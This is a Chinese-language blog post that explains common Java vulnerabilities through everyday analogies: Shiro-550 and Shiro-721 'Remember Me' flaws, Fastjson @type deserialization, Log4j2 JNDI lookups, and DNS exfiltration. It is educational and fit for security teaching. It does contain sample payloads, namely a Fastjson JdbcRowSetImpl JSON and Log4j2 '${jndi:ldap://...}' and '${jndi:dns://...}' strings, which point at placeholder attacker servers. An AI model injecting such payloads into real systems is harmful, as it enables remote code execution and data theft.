通俗理解系列 (1)—— 常见漏洞原理

通俗理解系列 (1)—— 常见漏洞原理
原谅我写图方便用DS写的一些东西

1. Shiro-550(“Remember me”的漏洞)

​通俗解释:就像你家小区的门禁卡被伪造了。​

  • Shiro是一个Java的安全框架,负责做登录验证和权限管理。它的“记住我”功能(Remember Me)非常常见,就是登录网站时会勾选的“下次自动登录”。
  • ​原理:​
    1. ​正常流程​​:第一次成功登录后,服务器会给你一个“加密的门禁卡”(一个叫Cookie的东西)。这个卡里加密了你的身份信息(比如用户名)。下次你来,出示这张卡,服务器会​​先解密​​,确认是你的卡,就让你进去了。
    2. ​漏洞出在哪​​:Shiro用的​​加密密钥(AES密钥)是硬编码在代码里的​​,就像小区的门禁系统用的是一把​​全世界都知道的、统一的万能钥匙​​。而且,它没有验证这个卡是谁签发的,只验证了解密后内容对不对。
  • ​攻击方式​​:攻击者可以自己​​伪造一张门禁卡​​(比如写上一个叫“管理员”的身份),然后用那个众所周知的“万能密钥”加密一下,做成一张假的VIP门禁卡。他把这张假卡递给服务器,服务器用“万能密钥”一解密,哎,内容没问题(确实是“管理员”三个字),就以为他是管理员,直接放行了。
  • ​核心问题​​:​​默认密钥​​ + ​​缺乏签名验证​​(无法分辨卡是真保安发的还是假保安发的)。

2. Shiro-721(“Remember me”的另一个漏洞)

​通俗解释:就像小偷拿到了你的空白支票本,可以随便填金额。​

  • ​它是什么?​​ 这也是Shiro“记住我”功能的一个漏洞,但比550更高级、更危险。
  • ​原理:​
    1. 这个版本的Shiro改进了,不再使用默认密钥(换了把新钥匙),但它用来加密你身份信息的那个数据(称为“序列化数据”),是​​可以被攻击者猜到的​​。
    2. 这就像你的“记住我”Cookie是一张​​支票​​。支票上有你的账号(序列化数据)和银行的防伪密文(加密签名)。
  • ​攻击方式(Padding Oracle Attack)​​:攻击者不需要知道银行的密钥(加密钥匙),但他可以拿着这张支票,不停地、一点点地去​​试探银行(服务器)​​:“我这么改一下,你们系统认不认?会不会报错?”服务器每次都会诚实地告诉他:“对不起,您提交的支票格式不对(Padding错误)”,或者“签名不对(Signature错误)”。攻击者就像一个小偷,通过无数次试探,最终​​摸索出了银行签发真支票的规则​​。然后他就能自己伪造出一张完全合法的、可以填上任何他想要的身份(比如管理员)的空白支票!
  • ​核心问题​​:服务器会返回不同的错误信息,攻击者利用这些“提示”反推出了加密规则。​​(服务器“话太多”)​

3. Fastjson(“送货单”的漏洞)

​通俗解释:就像你让跑腿小哥按一张来历不明的送货单,去你家仓库里取一个危险的包裹并打开它。​

  • ​它是什么?​​ Fastjson是Java中一个非常快的、用来把对象转换成JSON字符串(序列化),或者把JSON字符串转回对象(反序列化)的工具库。
  • ​原理:​
    1. ​正常流程​​:你的网站(后端)有一个User类,里面有nameage属性。你想把它传给前端,就把它变成JSON字符串:{"name":"张三", "age":18}。这个过程叫​​序列化(打包)​​。前端收到这个字符串,想变回一个对象来操作,这个过程叫​​反序列化(拆包)​​。
    2. ​漏洞出在哪​​:Fastjson有一个特殊的特性:在反序列化(拆包)时,如果JSON字符串里指定了@type属性,它就会去尝试​​加载并实例化这个指定的类​​。例如:{"@type":"com.xxx.User", "name":"张三", "age":18},它会去找到User这个类,然后创建一个对象。
  • ​攻击方式​​:攻击者可以构造一个恶意的JSON字符串:{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://黑客的服务器/exp", "autoCommit":true}这个字符串的意思是:“嘿Fastjson,你去帮我创建一个JdbcRowSetImpl类的对象,并顺带执行一下这个SQL查询(指向黑客的服务器)。”Fastjson真的会照做!它会去尝试连接攻击者控制的服务器,下载并执行恶意代码,从而完全控制你的服务器。
  • ​核心问题​​:​​反序列化过程过于自动化​​,盲目地根据输入内容去加载和调用任何类,没有做任何白名单限制。

4. Log4j2(“日志炸弹”漏洞)

​通俗解释:就像你让一个特别听话的秘书,把用户填写的任何信息都原封不动地拿去查字典解释一遍,而用户写的是“去保险柜拿出所有文件并复印”。​

  • ​它是什么?​​ Log4j2是一个超级强大的Java日志记录工具。网站和系统用它来记录运行情况,比如谁在什么时候访问了什么。
  • ​原理:​
    1. ​正常流程​​:用户登录时输了错误的密码,系统会用Log4j2记录一条日志:用户名[张三] 密码错误
    2. ​强大(也是危险)的功能​​:Log4j2有一个“ lookup ”功能,非常强大。它允许在日志消息中​​嵌入一些指令​​,让它去执行一些操作,比如:
      • ${java:version}-> 它会替换成当前Java版本
      • ${jndi:ldap://example.com/a}-> 它会去这个LDAP服务器上查找一个资源。这本意是让日志内容更丰富,比如记录环境信息。
  • ​攻击方式​​:攻击者在任何网站可以输入的地方(用户名、搜索框、请求头……),输入一个恶意指令:${jndi:ldap://攻击者服务器/恶意代码}网站程序毫无防备,把这个字符串像普通文本一样记录到日志里。Log4j2这个“听话的秘书”看到这条日志后,心想:“哦,用户让我去查一下这个LDAP地址的东西”,于是它就真的​​去攻击者的服务器请求这个资源​​。而攻击者服务器返回的,正是一段可以远程执行的恶意代码,服务器就这样莫名其妙地执行了攻击者的代码。
  • ​核心问题​​:​​日志记录组件功能过于强大​​,默认开启了会执行远程指令的查找功能,并且对输入数据没有做任何过滤。
  • 我们再用一个非常生活化的例子来解释 ​​DNS外带(DNS Exfiltration)​​。

4.1 DNS外带(DNS Exfiltration)

​通俗解释:就像间谍通过“问路”的方式,把秘密情报传递出去。​

想象这样一个场景:

  • ​你是一个间谍​​,被困在一个守卫极其森严的军事基地里。
  • ​规则是​​:你不被允许直接寄信、打电话或使用任何常见的通讯方式出去。任何试图这样做的行为都会被门口的卫兵(​​防火墙​​)拦截和检查。
  • ​但是​​,基地有一条规定:​​任何人都可以向外面的人“问路”​​。比如,你可以写一张小纸条给门口的卫兵,上面写:“请问去 <某个地址>怎么走?”。卫兵不会怀疑这有什么问题,他会乖乖地把这个“问路”的请求传给外面的向导,然后把向导的回复带给你。

​现在,你怎么利用这个规则把情报送出去呢?​

你会这样做:

  1. ​把情报藏在问题里​​:你想送出的情报是秘密代码“12345”。你把它伪装成一个地址。你写一张问路纸条:“请问去 12345.secret.server.com怎么走?”
  2. ​传递纸条​​:你把这张纸条交给卫兵。卫兵一看,这只是一个无害的“问路”请求,符合规定,于是他就把这个请求发给了外界的“域名解析系统(DNS服务器)”,询问“12345.secret.server.com这个地址存在吗?”
  3. ​外界同伙接收​​:在外界,有你的同伙控制着一个服务器(secret.server.com)。这个服务器会收到卫兵发来的问路请求:“有人想知道 12345.secret.server.com的地址”。
  4. ​解读情报​​:你的同伙看到这个请求后,立刻就能从问询的域名中提取出你要传递的情报:​​“12345”​​。
  5. ​完成传递​​:最后,同伙的服务器随便回复一个“不知道这条路”的消息给卫兵,卫兵再把这个无关紧要的回复带给你。整个过程中,​​核心情报“12345”已经神不知鬼不觉地成功泄露了​​。卫兵(防火墙)完全被蒙在鼓里,因为他认为这只是一次普通的、无害的问路。

一个著名的应用场景:Log4j2漏洞

还记得刚才说的Log4j2漏洞吗?攻击者可以注入类似 ${jndi:ldap://恶意服务器/a}的指令让服务器去执行。

如果内网防火墙阻止了LDAP协议,攻击者可能会换成DNS协议,注入这样的指令:${jndi:dns://数据.恶意服务器.com/}

这样,当Log4j2去执行这个“查询”时,就会发起一次DNS外带请求,攻击者就能收到信号,从而​​确认这个网站存在Log4j2漏洞​​。这甚至是漏洞利用的第一步——​​探测​​。

为什么这种攻击很阴险?

  1. ​高度隐蔽​​: DNS流量太常见了,就像城市里每天都有成千上万的人问路,卫兵根本不会逐一审查每个问路请求。安全设备也很难区分哪些是正常的DNS查询,哪些是夹带私货的。
  2. ​通常畅通无阻​​: 很少有防火墙会禁止DNS查询(端口53),否则整个网络都无法上网了。这就给攻击者留下了一个“默认开放的后门”。
  3. ​慢,但有效​​: 这种方式传输数据速度很慢(一次查询只能带一点数据),但对于窃取核心机密(比如密钥、配置文件)来说,已经足够了。